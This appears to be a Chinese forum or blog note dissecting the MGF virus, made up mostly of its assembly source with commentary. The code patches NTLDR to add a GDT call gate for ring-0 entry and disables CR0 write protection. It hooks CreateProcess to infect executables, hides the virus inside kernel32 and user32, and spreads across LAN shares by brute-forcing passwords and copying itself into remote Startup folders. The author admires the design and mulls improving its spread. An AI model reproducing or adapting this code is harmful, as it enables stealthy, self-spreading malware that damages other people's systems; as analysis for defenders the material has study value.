以前看了莫國防病毒的源代碼。摸到了一個進入RING0的方法。今天又在EST論壇看到了代碼,隨手寫一個筆記吧。其實wowocock已經提及過這個了。我就在簡單的說說,各位就別拍我了。筆記而已。。。主要要說的就是病毒進入RING0的方法,雖然現在說起來MGF病毒進入RING0的方法,已經算老技術了,但是還是有必要了解它。病毒的其他方面也簡單的描述一下,有很多巧妙之處,可以說是個“好”病毒。另外在說一下,我沒有具體的去跟蹤調試這個病毒
先說說進入RING0吧。
現在進入ring0的方法已經又不少了,例如sinister提出的利用驅動程序進入RING0的方法,還有WebCrazy提出的用讀寫物理內存的方法來讀寫GDT所在的物理內存,在GDT上生成自己的調用門來進入ring0,還有EVA提出的方法。還可以參考 http://www.eviloctal.com/forum/read.php?tid=10933&fpage=1 (wowocock寫的總結,包括利用結構化異常處理以及利用中斷門的方法進入RING0)。我所要說的是莫國防病毒所采用的方法,就是在NTLDR中搜尋GDT并找個空閑的地方添加CALLGATE。
上面我門說了,莫國防病毒采用的方法是在NTLDR中搜索GDT域的空閑區,創建調用門。NTLDR就是系統的引導過程中的重要角色,主要任務就是將x86 實模式轉到win2k的保護模式下,還有裝載Ntbootdd.sys文件等工作(WIN2K具體引導過程請參見《Windows2000引導過程》).而其中也包括了裝載GDT(全局描述符表)(裝載GDT是在由實模式切換到保護模式之前的準備工作中就完成的)。也就是說,如果我們創建一個調用門,那么系統啟動的時候就會將調用門裝載。然后我們就可以利用這個CALLGATE來進入RING0了。
有人問過,用什么來確認NTLDR中包含有這個過程?關于這個問題,可以根據tombkeeper寫的<用Bochs調試NTLDR>,調試NTLDR,來監視NTLDR在切換到保護模式的時候所做的一切。
下面我們來看看MGF病毒修改NTLDR添加CALLGATE的那段代碼:
_dwFlag-----bit 0:0=ntldr, 1=PE;bit 1:0=mem, 1=file; bit 2:0=auto(ansi/unicode), 1=ansi …………………… .else;_dwFlag ;如果是NTLDR文件,寫入CALLGATE lea esi,szGdtData[ebx] mov edi,@lpFileMap mov ecx,@dwFileSize @@: inc edi push esi push edi push ecx mov ecx,10h repz cmpsb pop ecx pop edi pop esi loopnz @b
|
在NTLDR中以16個字節為單位搜索RING0,CS,DS找到后EDI指向該數據的最后一個字節:說白了就是搜索GDT的特征。
.if ZERO? xor eax,eax mov ecx,80h @@: sub edi,8 push edi push ecx mov ecx,8 repz scasb pop ecx pop edi loopnz @b
|
在向前的80H的范圍內搜索NULL SELECTOR(8個0),其實沒有必要,因為找到的SZGDTDATA前面就是了,所以最后EDI就指向NULL SELECTOR
.if ZERO? add edi,100h lea esi,szCallGate[ebx] mov ecx,10h rep movsb
|
在偏移100H處寫入CALLGATE和自己的RING0,CS,這里有必要用自己RING0 CS,因為如果用系統的,SELECTOR雖然也可以,但在直接IO的時候有可能會出現0XE的頁故障,也就是說如果加入破壞代碼直接讀寫硬盤扇區,可能會出錯。
mov edx,dwC3Address[ebx] mov word ptr [edi-16],dx shr edx,16 mov word ptr [edi-10],dx
|
使調用門指向ret的地址
.endif
.endif
dwC3Address是kernel32.dll中的地址,有人問為什么不用NTDLL.DLL中的呢?
kernel32.dll這個模塊是所有程序默認加載的,而NTDLL.dll則不一樣。dwC3Address是kernel32.dll中的指令ret地址。所以這個方法非常巧妙。
有些人問,為什么不用系統選擇子08h所對應的描述符?
因為如果操作系統檢測到描述符對應的代碼和數據的地址都在0x80000000H以下運行的話,就會被認為是非法進入RING0,然后產生錯誤。所以我們要創建自己的描述符來保證不會出現這樣的錯誤。
在WIN98下進入RING0用和CIH一樣的技術,直接往GDT添加CALLGATE。這里就不說了。另外在2K下在修改NTLDT后需要重起才會生效。
下面來說說MGF病毒的其他部分。
來看看在RING0中,寫KERNEL32和USER32的部分。
;RING0 mov eax,esp mov esp,[esp+4] ;切換堆棧 switch to ring3 esp push eax ;save ring0 esp
mov eax,cr0 push eax ;CR0 btr eax,16 mov cr0,eax ;去掉kernel32模塊只讀內存頁的寫保護 mov eax,lpOldPE[ebx] mov edx,dwOldEntry[ebx] mov [eax+28h],edx mov edx,dwOldImage[ebx] mov [eax+50h],edx ;恢復進程的入口和映像大小,避過某些程序的自我保護 mov edi,hKernel32[ebx] add edi,[edi+3ch] mov edi,[edi+54h] add edi,hKernel32[ebx] mov lpMemPosition1[ebx],edi lea esi,VirusStart[ebx] mov ecx,10h repz cmpsb ;判斷病毒是否已經在內存 .if !ZERO? ;not in mem .if dwVersion[ebx] ;不在內存 and win9x push 0fh push 0 push -1 push 0 push 0 push 0 push 1 push 1 @@: int 20h ;vxd->_PageAllocate dd 00010053h add esp,8*4 lea edi,@b[ebx] mov word ptr [edi],20cdh mov dword ptr [edi+2],00010053h .else mov eax,hUser32[ebx] add eax,[eax+3ch] mov eax,[eax+54h] add eax,hUser32[ebx] ;2000/XP/2003---》EAX=user32.dll模塊的空隙 .endif mov lpMemPosition2[ebx],eax mov edi,lpMemPosition1[ebx] add edi,offset _BeforeAPI-offset VirusStart mov dword ptr [ebx+szNewCommand+1],edi ; 構造跳轉入CreateProcess攔截函數的指令, 把HOOK CREATEPROCESS的指令地址放到第一段代碼的后面 mov esi,dwCreateProcess[ebx] push esi lea edi,szOldCommand[ebx] mov ecx,6 rep movsb ;保存原來CreateProcess函數的前6字節 lea esi,szNewCommand[ebx] pop edi mov ecx,6 rep movsb ;把CreateProcess函數的第一條指令改為跳入攔截函數的指令 lea esi,VirusStart[ebx] mov edi,lpMemPosition1[ebx] mov ecx,VirusSizeP1 rep movsb ;病毒前3K駐留在kernel32模塊 mov edi,eax mov ecx,VirusSizeP2 rep movsb ;病毒后2K駐留在user32模塊或vxd _PageAllocate分到的頁中 .endif pop eax mov cr0,eax ;恢復CR0 pop esp lea eax,Ring3_1[ebx] push eax retf ;返回RING3 Ring3_1: .endif
|
病毒在kernel32.dll和user32.dll中找空隙并駐留其中。這樣的話,任務管理器中就看不到病毒,更無法終止感染文件。
病毒還去除了kernel32的保護屬性。這個方法當然很好。不過在退出的時候沒有恢復,這樣就會出問題的。在NT/2k/xp系統中,DLL所在頁面被映射到進程的私有空間(如 Kernel32.dll 映射至77ED0000)中,并具有寫時拷貝屬性(cow),也就是說沒有進程試圖寫入該頁面時,所有進程共享這個頁面;而當一個進程試圖寫入該頁面時,系統的頁面錯誤處理代碼將收到處理器的異常,并檢查到該異常并非訪問違例,同時分配給引發異常的進程一個新頁面,并拷貝原頁面內容于其上且更新進程的頁表以指向新分配的頁。這種共享內存的優化給病毒來了一定的麻煩,病毒不能象在WIN9X下那樣僅修改Kernel32.dll一處代碼便可一勞永逸。所以說如果在9X下,這樣做沒有問題。而在2K和XP下是不行的。這就是2K/XP的COW機制。當然還有一種方法可以對付它,就是修改CR0的WP位,不過別忘了恢復 :)。
因為病毒要定位LoadLibraryA和GetProcAddress函數的地址。在這里病毒采用了攔截CreateProcess函數感染PE文件,也就很正常了。不過這樣的感染方法還是很罕見的,與一般的病毒有所不同。可以說是MGF首創,如果以前有,就當我孤陋寡聞,盡情的拍死我吧。
下面是病毒創建的的局域網的線程
_GoLAN proc lParam local @hEnum local @dwcCount local @szResourceName[32]:byte local @szBuffer[0c00h]:byte ret pushad db 0e8h,0,0,0,0 pop ebx sub ebx,$-1 lea eax,@hEnum push eax push 0 push 13h push 0 push 5 call dwWNetOpenEnum[ebx] .if !eax .repeat mov @dwcCount,-1 lea eax,dwBufferSize[ebx] push eax lea eax,@szBuffer push eax lea eax,@dwcCount push eax push @hEnum call dwWNetEnumResource[ebx] cmp dword ptr [@szBuffer+14h],0 jnz @f .until eax push @hEnum call dwWNetCloseEnum[ebx] .endif jmp _GoLANexit @@: push @hEnum call dwWNetCloseEnum[ebx] lea edi,@szBuffer _NextPC: push edi mov esi,[edi+14h] lea edi,@szResourceName @@: lodsb stosb or al,al jnz @b mov dword ptr [edi-1],\'C\\\' pop edi xor eax,eax mov dwPassword[ebx],eax @@: lea edx,szLocalDrive[ebx] push edx push eax lea edx,@szResourceName push edx call dwWNetAddConnection[ebx] .if eax==56h call _GenPassWord cmp dwPassword[ebx],0 jnz @b .elseif !eax push 0 lea eax,szDFile[ebx] push eax lea eax,szSFile[ebx] push eax call dwCopyFile[ebx] ;如果找到可寫共享,感染 mov esi,eax push 1 lea eax,szLocalDrive[ebx] push eax call dwWNetCancelConnection[ebx] call _GenPassWord or esi,esi jz @b .endif add edi,20h dec @dwcCount jnz _NextPC _GoLANexit: popad ret _GoLAN endp szMemToFileName db \'UnBlaster.exe\',0 szSFile db \'c:\\windows\\system\\UnBlaster.exe\',0 szDFile db \'X:\\WINDOWS\\All Users\\Start Menu\\Programs\\ 啟動\\UnBlaster.exe\',0 ; 從這里可以看出,把病毒復制到遠程主機的啟動文件中。 dwPassword dd 0 dd 0,0 szPassword db 0 szLocalDrive db \'x:\',0 dwBufferSize dd 0c00h _GenPassWord:;生成密碼的子程序,密碼包括1234567890!@#$%^字符 std pushad lea edi,[ebx+szPassword-1] xor edx,edx mov eax,dwPassword[ebx] mov ecx,16 @@: div ecx xchg eax,edx .if al<=5 add al,21h .else ;if al>=6 && al<=15 add al,2ah .endif stosb xor eax,eax xchg eax,edx or eax,eax jnz @b inc edi inc dwPassword[ebx] mov [esp+20h-4],edi popad cld ret
|
病毒在局域網傳播方面就是靠破解遠程主機共享密碼(密碼由病毒生成),把病毒復制到目標機器的啟動文件夾中。當目標重起后病毒開始感染。我想如果在優化一下傳播方式的話……